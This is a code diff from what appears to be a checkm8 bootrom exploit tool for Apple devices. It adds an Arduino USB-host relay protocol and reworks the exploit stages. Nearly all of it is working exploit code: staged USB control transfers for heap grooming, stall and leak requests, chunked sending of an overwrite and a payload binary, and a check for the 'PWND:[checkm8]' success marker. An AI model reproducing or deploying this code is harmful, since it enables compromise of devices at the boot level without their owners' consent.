 void setup()
 {
     Serial.begin(ARDUINO_BAUD);
-    if(Usb.Init() == -1) Serial.println("failed to initialize USB host shield");
-    else Serial.print('\x00');
+    while(Serial.available() > 0) Serial.read();
+
+    if(Usb.Init() == -1) Serial.write(PROT_FAIL_INITUSB);
+    else Serial.write(PROT_SUCCESS);
 }
 
 void loop()
 {
-    Usb.Task();
     state = Usb.getUsbTaskState();
-    if(state != last_state)
+    while(state != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE && state != USB_STATE_RUNNING)
     {
-        Serial.print("usb state: ");
-        Serial.println(state, HEX);
-        last_state = state;
+        Usb.Task();
+        state = Usb.getUsbTaskState();
     }
-    if(state == USB_STATE_ERROR)
+
+    if(Serial.available() > 0)
     {
-        Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-    }
-    if(state == USB_STATE_RUNNING)
-    {
-        Usb.getDevDescr(addr, 0, 0x12, (uint8_t * ) & desc_buf);
-        if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227)
+        cmd = (char) Serial.read();
+        switch(cmd)
         {
-            Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-            if(checkm8_state != CHECKM8_END)
-            {
-                Serial.print("Non Apple DFU found (vendorId: ");
-                Serial.print(desc_buf.idVendor);
-                Serial.print(", productId: ");
-                Serial.print(desc_buf.idProduct);
-                Serial.println(")");
-                delay(5000);
-            }
-            return;
-        }
-        switch(checkm8_state)
-        {
-            case CHECKM8_INIT_RESET:
-                for(int i = 0; i < 3; i++)
+            case PROT_PARTIAL_CTRL_XFER:
+                recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args));
+                Serial.write(PROT_ACK);
+
+                rcode = Usb.ctrlReq_SETUP(addr, 0,
+                                          usb_args.bmRequestType,
+                                          usb_args.bRequest,
+                                          usb_args.wValue & 0xFFu,
+                                          (usb_args.wValue >> 8u) & 0xFFu,
+                                          usb_args.wIndex,
+                                          usb_args.data_len);
+                if(rcode)
                 {
-                    digitalWrite(6, HIGH);
-                    delay(500);
-                    digitalWrite(6, LOW);
-                    delay(500);
+                    Serial.write(PROT_FAIL_USB);
+                    Serial.write(rcode);
+                    break;
                 }
-                checkm8_state = CHECKM8_HEAP_FENG_SHUI;
+
+                Usb.regWr(rHCTL, bmRCVTOG1);
+                rcode = Usb.dispatchPkt(tokIN, 0, 0);
+                if(rcode)
+                {
+                    Serial.write(PROT_FAIL_USB);
+                    Serial.write(rcode);
+                    break;
+                }
+
+                Serial.write(PROT_SUCCESS);
+                break;
+
+            case PROT_NO_ERROR_CTRL_XFER:
+                recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args));
+                Serial.write(PROT_ACK);
+
+                rcode = Usb.ctrlReq_SETUP(addr, 0,
+                                          usb_args.bmRequestType,
+                                          usb_args.bRequest,
+                                          usb_args.wValue & 0xFFu,
+                                          (usb_args.wValue >> 8u) & 0xFFu,
+                                          usb_args.wIndex,
+                                          usb_args.data_len);
+                rcode = Usb.dispatchPkt(tokOUTHS, 0, 0);
+                Serial.write(PROT_SUCCESS);
+                break;
+
+            case PROT_NO_ERROR_CTRL_XFER_DATA:
+                recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args));
+                if(usb_args.data_len > sizeof(usb_data_buf))
+                {
+                    recv_args(NULL, usb_args.data_len);
+                    Serial.write(PROT_ACK);
+                    Serial.write(PROT_FAIL_TOOBIG);
+                    break;
+                }
+
+                recv_args(usb_data_buf, usb_args.data_len);
+                Serial.write(PROT_ACK);
+
+                rcode = Usb.ctrlReq_SETUP(addr, 0,
+                                          usb_args.bmRequestType,
+                                          usb_args.bRequest,
+                                          usb_args.wValue & 0xFFu,
+                                          (usb_args.wValue >> 8u) & 0xFFu,
+                                          usb_args.wIndex,
+                                          usb_args.data_len);
+                Usb.regWr(rHCTL, bmSNDTOG0);
+                send_data(usb_data_buf, 0);
+                send_data(usb_data_buf, usb_args.data_len);
+
+                Serial.write(PROT_SUCCESS);
+                break;
+
+            case PROT_CTRL_XFER:
+                recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args));
+                if(usb_args.data_len > sizeof(usb_data_buf))
+                {
+                    // need to waste the data sent on the serial bus since the
+                    // remote sends args and data consecutively and only checks
+                    // for errors after receiving an ACK
+
+                    recv_args(NULL, usb_args.data_len);
+                    Serial.write(PROT_ACK);
+                    Serial.write(PROT_FAIL_TOOBIG);
+                    break;
+                }
+
+                recv_args(usb_data_buf, usb_args.data_len);
+                Serial.write(PROT_ACK);
+
+                rcode = Usb.ctrlReq(addr, 0,
+                                    usb_args.bmRequestType,
+                                    usb_args.bRequest,
+                                    usb_args.wValue & 0xFFu,
+                                    (usb_args.wValue >> 8u) & 0xFFu,
+                                    usb_args.wIndex,
+                                    usb_args.data_len, usb_args.data_len,
+                                    usb_data_buf, NULL);
+                if(rcode)
+                {
+                    Serial.write(PROT_FAIL_USB);
+                    Serial.write(rcode);
+                    break;
+                }
+
+                Serial.write(PROT_SUCCESS);
+                break;
+
+            case PROT_RESET:
+                Serial.write(PROT_ACK);
+
                 Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+                while((state = Usb.getUsbTaskState()) != USB_STATE_RUNNING) Usb.Task();
+
+                Serial.write(PROT_SUCCESS);
                 break;
-            case CHECKM8_HEAP_FENG_SHUI:
-                heap_feng_shui();
-                checkm8_state = CHECKM8_SET_GLOBAL_STATE;
-                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-                break;
-            case CHECKM8_SET_GLOBAL_STATE:
-                set_global_state();
-                checkm8_state = CHECKM8_HEAP_OCCUPATION;
-                while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE)
-                { Usb.Task(); }
-                break;
-            case CHECKM8_HEAP_OCCUPATION:
-                heap_occupation();
-                checkm8_state = CHECKM8_END;
-                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-                break;
-            case CHECKM8_END:
-                digitalWrite(6, HIGH);
+
+            case PROT_SERIAL_DESC:
+                recv_args((uint8_t *) &sd_args, sizeof(struct serial_desc_args));
+                Serial.write(PROT_ACK);
+
+                state = Usb.getUsbTaskState();
+                if(state == USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE)
+                {
+                    Serial.write(PROT_FAIL_NODEV);
+                    break;
+                }
+
+                Usb.getDevDescr(addr, 0, sizeof(USB_DEVICE_DESCRIPTOR), (uint8_t *) &desc_buf);
+                if(desc_buf.idVendor != sd_args.dev_idVendor ||
+                   desc_buf.idProduct != sd_args.dev_idProduct)
+                {
+                    Serial.write(PROT_FAIL_WRONGDEV);
+                    break;
+                }
+
+                // multiplication by 2 is necessary here because iphone returns 16-bit characters
+                Usb.getStrDescr(addr, 0, sd_args.len * 2, desc_buf.iSerialNumber, 0x0409, (uint8_t *) serial_desc_buf);
+                Serial.write(PROT_SUCCESS);
+
+                // not sure what the first byte is; skip it
+                for(i = 1; i < sd_args.len + 1; i++)
+                {
+                    Serial.write(serial_desc_buf[i]);
+                }
                 break;
+
+//            default:
+//                Serial.write(PROT_FAIL_BADCMD);
+//                break;
         }
+
+
+//        Usb.getDevDescr(addr, 0, 0x12, (uint8_t * ) & desc_buf);
+//        if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227)
+//        {
+//            Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+//            if(checkm8_state != CHECKM8_END)
+//            {
+//                Serial.print("Non Apple DFU found (vendorId: ");
+//                Serial.print(desc_buf.idVendor);
+//                Serial.print(", productId: ");
+//                Serial.print(desc_buf.idProduct);
+//                Serial.println(")");
+//                delay(5000);
+//            }
+//            return;
+//        }
+//        switch(checkm8_state)
+//        {
+//            case CHECKM8_INIT_RESET:
+//                for(int i = 0; i < 3; i++)
+//                {
+//                    digitalWrite(6, HIGH);
+//                    delay(500);
+//                    digitalWrite(6, LOW);
+//                    delay(500);
+//                }
+//                checkm8_state = CHECKM8_HEAP_FENG_SHUI;
+//                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+//                break;
+//            case CHECKM8_HEAP_FENG_SHUI:
+//                heap_feng_shui();
+//                checkm8_state = CHECKM8_SET_GLOBAL_STATE;
+//                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+//                break;
+//            case CHECKM8_SET_GLOBAL_STATE:
+//                set_global_state();
+//                checkm8_state = CHECKM8_HEAP_OCCUPATION;
+//                while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE)
+//                { Usb.Task(); }
+//                break;
+//            case CHECKM8_HEAP_OCCUPATION:
+//                heap_occupation();
+//                checkm8_state = CHECKM8_END;
+//                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+//                break;
+//            case CHECKM8_END:
+//                digitalWrite(6, HIGH);
+//                break;
+//        }
     }
 }
\ No newline at end of file
diff --git a/checkm8_remote/include/checkm8.h b/checkm8_remote/include/checkm8.h
index 8f54018..41a30c1 100644
--- a/checkm8_remote/include/checkm8.h
+++ b/checkm8_remote/include/checkm8.h
@@ -10,6 +10,7 @@
 #define CHECKM8_FAIL_NOTDONE    -4
 #define CHECKM8_FAIL_XFER       -5
 #define CHECKM8_FAIL_NOINST     -6
+#define CHECKM8_FAIL_PROT       -7
 
 #define IS_CHECKM8_FAIL(code) code < 0
 
diff --git a/checkm8_remote/include/usb_helpers.h b/checkm8_remote/include/usb_helpers.h
index 7b3045c..cee8795 100644
--- a/checkm8_remote/include/usb_helpers.h
+++ b/checkm8_remote/include/usb_helpers.h
@@ -2,7 +2,12 @@
 #define CHECKM8_TOOL_LIBUSB_HELPERS_H
 
 #include "checkm8.h"
-#define LIBUSB_MAX_PACKET_SIZE 0x800
+
+#ifdef WITH_ARDUINO
+#define MAX_PACKET_SIZE 512
+#else
+#define MAX_PACKET_SIZE 0x800
+#endif
 
 #ifndef WITH_ARDUINO
 #include "libusb.h"
@@ -32,6 +37,12 @@ int no_error_ctrl_transfer(struct pwned_device *dev,
                            unsigned char *data, unsigned short data_len,
                            unsigned int timeout);
 
+int no_error_ctrl_transfer_data(struct pwned_device *dev,
+                                unsigned char bmRequestType, unsigned char bRequest,
+                                unsigned short wValue, unsigned short wIndex,
+                                unsigned char *data, unsigned short data_len,
+                                unsigned int timeout);
+
 int ctrl_transfer(struct pwned_device *dev,
                   unsigned char bmRequestType, unsigned char bRequest,
                   unsigned short wValue, unsigned short wIndex,
@@ -41,5 +52,4 @@ int ctrl_transfer(struct pwned_device *dev,
 int reset(struct pwned_device *dev);
 int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len);
 
-
 #endif //CHECKM8_TOOL_LIBUSB_HELPERS_H
diff --git a/checkm8_remote/src/command.c b/checkm8_remote/src/command.c
index ab5c89a..03870c3 100644
--- a/checkm8_remote/src/command.c
+++ b/checkm8_remote/src/command.c
@@ -20,7 +20,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
 
     while(index < data_len)
     {
-        if(data_len - index >= LIBUSB_MAX_PACKET_SIZE) amount = LIBUSB_MAX_PACKET_SIZE;
+        if(data_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
         else amount = data_len - index;
 
         checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
diff --git a/checkm8_remote/src/exploit.c b/checkm8_remote/src/exploit.c
index 93ed4b2..35ef617 100644
--- a/checkm8_remote/src/exploit.c
+++ b/checkm8_remote/src/exploit.c
@@ -125,7 +125,6 @@ int stage1_function(struct pwned_device *dev)
     usb_req_leak(dev);
     no_leak(dev);
 
-    checkm8_debug_indent("\treset\n");
     reset(dev);
     return CHECKM8_SUCCESS;
 }
@@ -138,36 +137,63 @@ int stage2_function(struct pwned_device *dev)
 
     partial_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
     no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
-
-    checkm8_debug_indent("\treset\n");
     reset(dev);
+
     return CHECKM8_SUCCESS;
 }
 
 int stage3_function(struct pwned_device *dev)
 {
+    long index = 0, amount = 0;
+    long ow_len, pl_len;
+
     checkm8_debug_indent("exploit stage 3\n");
-    unsigned char overwrite_buf[1524];
     FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
-    fread(overwrite_buf, 1524, 1, overwrite_file);
+    fseek(overwrite_file, 0, SEEK_END);
+    ow_len = ftell(overwrite_file);
+    rewind(overwrite_file);
+
+    unsigned char overwrite_buf[ow_len];
+    fread(overwrite_buf, ow_len, 1, overwrite_file);
     fclose(overwrite_file);
 
-    unsigned char payload_buf[2400];
     FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
-    fread(payload_buf, 2400, 1, payload_file);
+    fseek(payload_file, 0, SEEK_END);
+    pl_len = ftell(payload_file);
+    rewind(payload_file);
+
+    unsigned char payload_buf[pl_len];
+    fread(payload_buf, pl_len, 1, payload_file);
     fclose(payload_file);
 
     usb_req_stall(dev);
     usb_req_leak(dev);
 
-    checkm8_debug_indent("\ttransferring overwrite\n");
-    no_error_ctrl_transfer(dev, 0, 0, 0, 0, overwrite_buf, 1524, 100);
+    checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
+    while(index < ow_len)
+    {
+        if(ow_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
+        else amount = ow_len - index;
+        checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
 
-    checkm8_debug_indent("\ttransferring payload\n");
-    no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, payload_buf, 2048, 100);
-    no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
+        no_error_ctrl_transfer_data(dev, 0, 0, 0, 0, &overwrite_buf[index], amount, 100);
+        index += amount;
+    }
+
+    index = 0;
+    amount = 0;
+
+    checkm8_debug_indent("\ttransferring payload (%i bytes)\n", pl_len);
+    while(index < pl_len)
+    {
+        if(pl_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
+        else amount = pl_len - index;
+        checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
+
+        no_error_ctrl_transfer_data(dev, 0x21, 1, 0, 0, &payload_buf[index], amount, 100);
+        index += amount;
+    }
 
-    checkm8_debug_indent("reset\n");
     reset(dev);
     return CHECKM8_SUCCESS;
 }
@@ -177,15 +203,15 @@ int check_function(struct pwned_device *dev)
     checkm8_debug_indent("checking device serial\n");
     unsigned char serial_buf[128];
     unsigned int i;
+    int ret;
+
+    ret = serial_descriptor(dev, serial_buf, sizeof(serial_buf));
+    if(IS_CHECKM8_FAIL(ret)) return ret;
 
-    serial_descriptor(dev, serial_buf, sizeof(serial_buf));
     checkm8_debug_indent("\tgot serial %s\n", serial_buf);
     for(i = 0; i < 13; i++)
     {
-        if(serial_buf[99 + i] != "PWND:[checkm8]"[i])
-        {
-            return CHECKM8_FAIL_NOEXP;
-        }
+        if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) return CHECKM8_FAIL_NOEXP;
     }
 
     return CHECKM8_SUCCESS;
@@ -217,14 +243,14 @@ struct pwned_device *exploit_device()
     ret = check_function(res);
     if(ret == CHECKM8_SUCCESS)
     {
-        // already exploited
+        checkm8_debug_indent("\tdevice is already exploited\n");
         res->status = DEV_PWNED;
         close_device_session(res);
         return res;
     }
     else if(ret == CHECKM8_FAIL_NODEV)
     {
-        // no device found
+        checkm8_debug_indent("\tno device found\n");
         free_device(res);
         return NULL;
     }
diff --git a/checkm8_remote/src/usb_helpers.c b/checkm8_remote/src/usb_helpers.c
index c9aa67a..263e645 100644
--- a/checkm8_remote/src/usb_helpers.c
+++ b/checkm8_remote/src/usb_helpers.c
@@ -1,14 +1,16 @@
 #include "usb_helpers.h"
 
+#include <string.h>
+
 #ifdef WITH_ARDUINO
 
 #include <termio.h>
 #include <fcntl.h>
 #include <unistd.h>
+#include "ard_protocol.h"
 
 #else
 
-#include <string.h>
 #include <stdlib.h>
 #include "libusbi.h"
 
@@ -91,21 +93,15 @@ int open_device_session(struct pwned_device *dev)
 
     // read a setup verification byte
     while(read(ard_fd, &buf, 1) == 0);
-    if(buf == '\x00')
+    if(buf == PROT_SUCCESS)
     {
-        checkm8_debug_block("\tarduino successfully setup\n");
+        checkm8_debug_indent("\tarduino successfully setup\n");
         dev->ard_fd = ard_fd;
         return CHECKM8_SUCCESS;
     }
-    else
+    else if(buf == PROT_FAIL_INITUSB)
     {
-        checkm8_debug_indent("\tarduino error: ");
-        while(buf != '\n')
-        {
-            checkm8_debug_block("%c", buf);
-            while(read(ard_fd, &buf, 1) == 0);
-        }
-
+        checkm8_debug_indent("\tarduino failed to init USB host shield\n");
         close(ard_fd);
         return CHECKM8_FAIL_NOTDONE;
     }
@@ -251,7 +247,47 @@ int partial_ctrl_transfer(struct pwned_device *dev,
             dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
 
 #ifdef WITH_ARDUINO
+    char buf;
+    struct usb_xfer_args args;
+    args.bmRequestType = bmRequestType;
+    args.bRequest = bRequest;
+    args.wValue = wValue;
+    args.wIndex = wIndex;
+    args.data_len = data_len;
 
+    checkm8_debug_indent("\tsending data to arduino\n");
+    write(dev->ard_fd, &PROT_PARTIAL_CTRL_XFER, 1);
+    write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
+
+    while(read(dev->ard_fd, &buf, 1) == 0);
+    if(buf == PROT_ACK)
+    {
+        checkm8_debug_indent("\treceived ack\n");
+
+        while(read(dev->ard_fd, &buf, 1) == 0);
+        if(buf == PROT_SUCCESS)
+        {
+            checkm8_debug_indent("\tsuccess\n");
+            return CHECKM8_SUCCESS;
+        }
+        else if(buf == PROT_FAIL_USB)
+        {
+            while(read(dev->ard_fd, &buf, 1) == 0);
+
+            checkm8_debug_indent("\trequest failed with error %X\n", buf);
+            return CHECKM8_FAIL_XFER;
+        }
+        else
+        {
+            checkm8_debug_indent("\tunexpected response %X\n", buf);
+            return CHECKM8_FAIL_PROT;
+        }
+    }
+    else
+    {
+        checkm8_debug_indent("\tno ack received (got %x)\n", buf);
+        return CHECKM8_FAIL_PROT;
+    }
 #else
     struct timeval start, end;
     unsigned char usb_transfer_buf[8 + data_len];
@@ -302,7 +338,40 @@ int no_error_ctrl_transfer(struct pwned_device *dev,
             dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
 
 #ifdef WITH_ARDUINO
+    unsigned char buf;
+    struct usb_xfer_args args;
+    args.bmRequestType = bmRequestType;
+    args.bRequest = bRequest;
+    args.wValue = wValue;
+    args.wIndex = wIndex;
+    args.data_len = data_len;
 
+    checkm8_debug_indent("\tsending data to arduino\n");
+    write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER, 1);
+    write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
+
+    while(read(dev->ard_fd, &buf, 1) == 0);
+    if(buf == PROT_ACK)
+    {
+        checkm8_debug_indent("\treceived ack\n");
+
+        while(read(dev->ard_fd, &buf, 1) == 0);
+        if(buf == PROT_SUCCESS)
+        {
+            checkm8_debug_indent("\tsuccess\n");
+            return CHECKM8_SUCCESS;
+        }
+        else
+        {
+            checkm8_debug_indent("\tunexpected response %X\n", buf);
+            return CHECKM8_FAIL_PROT;
+        }
+    }
+    else
+    {
+        checkm8_debug_indent("\tno ack received (got %x)\n", buf);
+        return CHECKM8_FAIL_PROT;
+    }
 #else
     int ret;
     unsigned char recipient = bmRequestType & 3u;
@@ -324,6 +393,61 @@ int no_error_ctrl_transfer(struct pwned_device *dev,
 #endif
 }
 
+int no_error_ctrl_transfer_data(struct pwned_device *dev,
+                                unsigned char bmRequestType, unsigned char bRequest,
+                                unsigned short wValue, unsigned short wIndex,
+                                unsigned char *data, unsigned short data_len,
+                                unsigned int timeout)
+{
+    checkm8_debug_indent(
+            "no_error_ctrl_transfer_data(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
+            dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
+#ifdef WITH_ARDUINO
+    char buf;
+    struct usb_xfer_args args;
+    args.bmRequestType = bmRequestType;
+    args.bRequest = bRequest;
+    args.wValue = wValue;
+    args.wIndex = wIndex;
+    args.data_len = data_len;
+
+    checkm8_debug_indent("\tsending data to arduino\n");
+    write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER_DATA, 1);
+    write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
+    write(dev->ard_fd, data, data_len);
+
+    while(read(dev->ard_fd, &buf, 1) == 0);
+    if(buf == PROT_ACK)
+    {
+        checkm8_debug_indent("\treceived ack\n");
+
+        while(read(dev->ard_fd, &buf, 1) == 0);
+        if(buf == PROT_FAIL_TOOBIG)
+        {
+            checkm8_debug_indent("\tdata packet is too big\n");
+            return CHECKM8_FAIL_INVARGS;
+        }
+        else if(buf == PROT_SUCCESS)
+        {
+            checkm8_debug_indent("\tsuccess\n");
+            return CHECKM8_SUCCESS;
+        }
+        else
+        {
+            checkm8_debug_indent("\tunexpected response %X\n", buf);
+            return CHECKM8_FAIL_PROT;
+        }
+    }
+    else
+    {
+        checkm8_debug_indent("\tno ack received (got %x)\n", buf);
+        return CHECKM8_FAIL_PROT;
+    }
+#else
+    return no_error_ctrl_transfer(dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
+#endif
+}
+
 int ctrl_transfer(struct pwned_device *dev,
                   unsigned char bmRequestType, unsigned char bRequest,
                   unsigned short wValue, unsigned short wIndex,
@@ -335,7 +459,51 @@ int ctrl_transfer(struct pwned_device *dev,
             dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
 
 #ifdef WITH_ARDUINO
-    // TODO
+    char buf;
+    struct usb_xfer_args args;
+    args.bmRequestType = bmRequestType;
+    args.bRequest = bRequest;
+    args.wValue = wValue;
+    args.wIndex = wIndex;
+    args.data_len = data_len;
+
+    checkm8_debug_indent("\tsending data to arduino\n");
+    write(dev->ard_fd, &PROT_CTRL_XFER, 1);
+    write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
+    write(dev->ard_fd, data, data_len);
+
+    while(read(dev->ard_fd, &buf, 1) == 0);
+    if(buf == PROT_ACK)
+    {
+        checkm8_debug_indent("\treceived ack\n");
+
+        while(read(dev->ard_fd, &buf, 1) == 0);
+        if(buf == PROT_FAIL_TOOBIG)
+        {
+            checkm8_debug_indent("\tdata packet is too big\n");
+            return CHECKM8_FAIL_INVARGS;
+        }
+        else if(buf == PROT_FAIL_USB)
+        {
+            while(read(dev->ard_fd, &buf, 1) == 0);
+            checkm8_debug_indent("\tUSB failed with error %x\n", buf);
+        }
+        else if(buf == PROT_SUCCESS)
+        {
+            checkm8_debug_indent("\tsuccess\n");
+            return CHECKM8_SUCCESS;
+        }
+        else
+        {
+            checkm8_debug_indent("\tunexpected response %X\n", buf);
+            return CHECKM8_FAIL_PROT;
+        }
+    }
+    else
+    {
+        checkm8_debug_indent("\tno ack received (got %x)\n", buf);
+        return CHECKM8_FAIL_PROT;
+    }
 #else
     return libusb_control_transfer(dev->bundle->handle,
                                    bmRequestType, bRequest,
@@ -347,8 +515,33 @@ int ctrl_transfer(struct pwned_device *dev,
 
 int reset(struct pwned_device *dev)
 {
+    checkm8_debug_indent("reset(dev = %p)\n", dev);
 #ifdef WITH_ARDUINO
+    char buf;
+    write(dev->ard_fd, &PROT_RESET, 1);
 
+    while(read(dev->ard_fd, &buf, 1) == 0);
+    if(buf == PROT_ACK)
+    {
+        checkm8_debug_indent("\treceived ack\n");
+
+        while(read(dev->ard_fd, &buf, 1) == 0);
+        if(buf == PROT_SUCCESS)
+        {
+            checkm8_debug_indent("\tsuccess\n");
+            return CHECKM8_SUCCESS;
+        }
+        else
+        {
+            checkm8_debug_indent("\tunexpected response %X\n", buf);
+            return CHECKM8_FAIL_PROT;
+        }
+    }
+    else
+    {
+        checkm8_debug_indent("\tno ack received (got %x)\n", buf);
+        return CHECKM8_FAIL_PROT;
+    }
 #else
     return libusb_reset_device(dev->bundle->handle);
 #endif
@@ -356,8 +549,58 @@ int reset(struct pwned_device *dev)
 
 int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len)
 {
-#ifdef WITH_ARDUINO
+    checkm8_debug_indent("serial_descriptor(dev = %p, serial_buf = %p, len = %i)\n", dev, serial_buf, len);
 
+#ifdef WITH_ARDUINO
+    char buf;
+    int curr, ret;
+    struct serial_desc_args args;
+    args.dev_idVendor = dev->idVendor;
+    args.dev_idProduct = dev->idProduct;
+    args.len = len;
+
+    checkm8_debug_indent("\tsending data to arduino\n");
+    write(dev->ard_fd, &PROT_SERIAL_DESC, 1);
+    write(dev->ard_fd, &args, sizeof(struct serial_desc_args));
+
+    while(read(dev->ard_fd, &buf, 1) == 0);
+    if(buf == PROT_ACK)
+    {
+        checkm8_debug_indent("\treceived ack\n");
+        while(read(dev->ard_fd, &buf, 1) == 0);
+        if(buf == PROT_FAIL_NODEV)
+        {
+            checkm8_debug_indent("\tno device attached\n");
+            return CHECKM8_FAIL_NODEV;
+        }
+        else if(buf == PROT_FAIL_WRONGDEV)
+        {
+            checkm8_debug_indent("\twrong device attached\n");
+            return CHECKM8_FAIL_NODEV;
+        }
+        else if(buf == PROT_SUCCESS)
+        {
+            checkm8_debug_indent("\tsuccess, reading serial descriptor\n");
+            curr = 0;
+            while(curr < len)
+            {
+                ret = read(dev->ard_fd, &serial_buf[curr], len - curr);
+                if(ret > 0) curr += ret;
+            }
+
+            return CHECKM8_SUCCESS;
+        }
+        else
+        {
+            checkm8_debug_indent("\tunexpected response %X\n", buf);
+            return CHECKM8_FAIL_PROT;
+        }
+    }
+    else
+    {
+        checkm8_debug_indent("\tno ack received (got %x)\n", buf);
+        return CHECKM8_FAIL_PROT;
+    }
 #else
     struct libusb_device_handle *handle = dev->bundle->handle;
     struct libusb_device_descriptor *desc = dev->bundle->descriptor;
diff --git a/include/ard_protocol.h b/include/ard_protocol.h
new file mode 100644
index 0000000..f4f3258
--- /dev/null
+++ b/include/ard_protocol.h
@@ -0,0 +1,38 @@
+#ifndef CHECKM8_TOOL_ARD_PROTOCOL_H
+#define CHECKM8_TOOL_ARD_PROTOCOL_H
+
+static const char PROT_PARTIAL_CTRL_XFER       = 'P';
+static const char PROT_NO_ERROR_CTRL_XFER      = 'N';
+static const char PROT_NO_ERROR_CTRL_XFER_DATA = 'M';
+static const char PROT_CTRL_XFER               = 'C';
+static const char PROT_RESET                   = 'R';
+static const char PROT_SERIAL_DESC             = 'S';
+
+static const char PROT_SUCCESS       = '\x00';
+static const char PROT_ACK           = '\x01';
+static const char PROT_FAIL_BADCMD   = '\xFF';
+static const char PROT_FAIL_NODEV    = '\xFE';
+static const char PROT_FAIL_WRONGDEV = '\xFD';
+static const char PROT_FAIL_USB      = '\xFC';
+static const char PROT_FAIL_TOOBIG   = '\xFB';
+
+static const char PROT_FAIL_INITUSB  = '\xEF';
+
+struct usb_xfer_args
+{
+    unsigned char bmRequestType;
+    unsigned char bRequest;
+    unsigned short wValue;
+    unsigned short wIndex;
+
+    unsigned short data_len;
+};
+
+struct serial_desc_args
+{
+    unsigned short dev_idVendor;
+    unsigned short dev_idProduct;
+    unsigned char len;
+};
+
+#endif //CHECKM8_TOOL_ARD_PROTOCOL_H
diff --git a/include/checkm8_config.h b/include/checkm8_config.h
index a25a990..d5c0e3a 100644
--- a/include/checkm8_config.h
+++ b/include/checkm8_config.h
@@ -3,7 +3,9 @@
 
 //#define LIBUSB_LOGGING
 #define CHECKM8_LOGGING
-//#define WITH_ARDUINO
+#define ARDUINO_LOGGING
+
+#define WITH_ARDUINO
 #define ARDUINO_DEV "/dev/ttyACM0"
 #define ARDUINO_BAUD 115200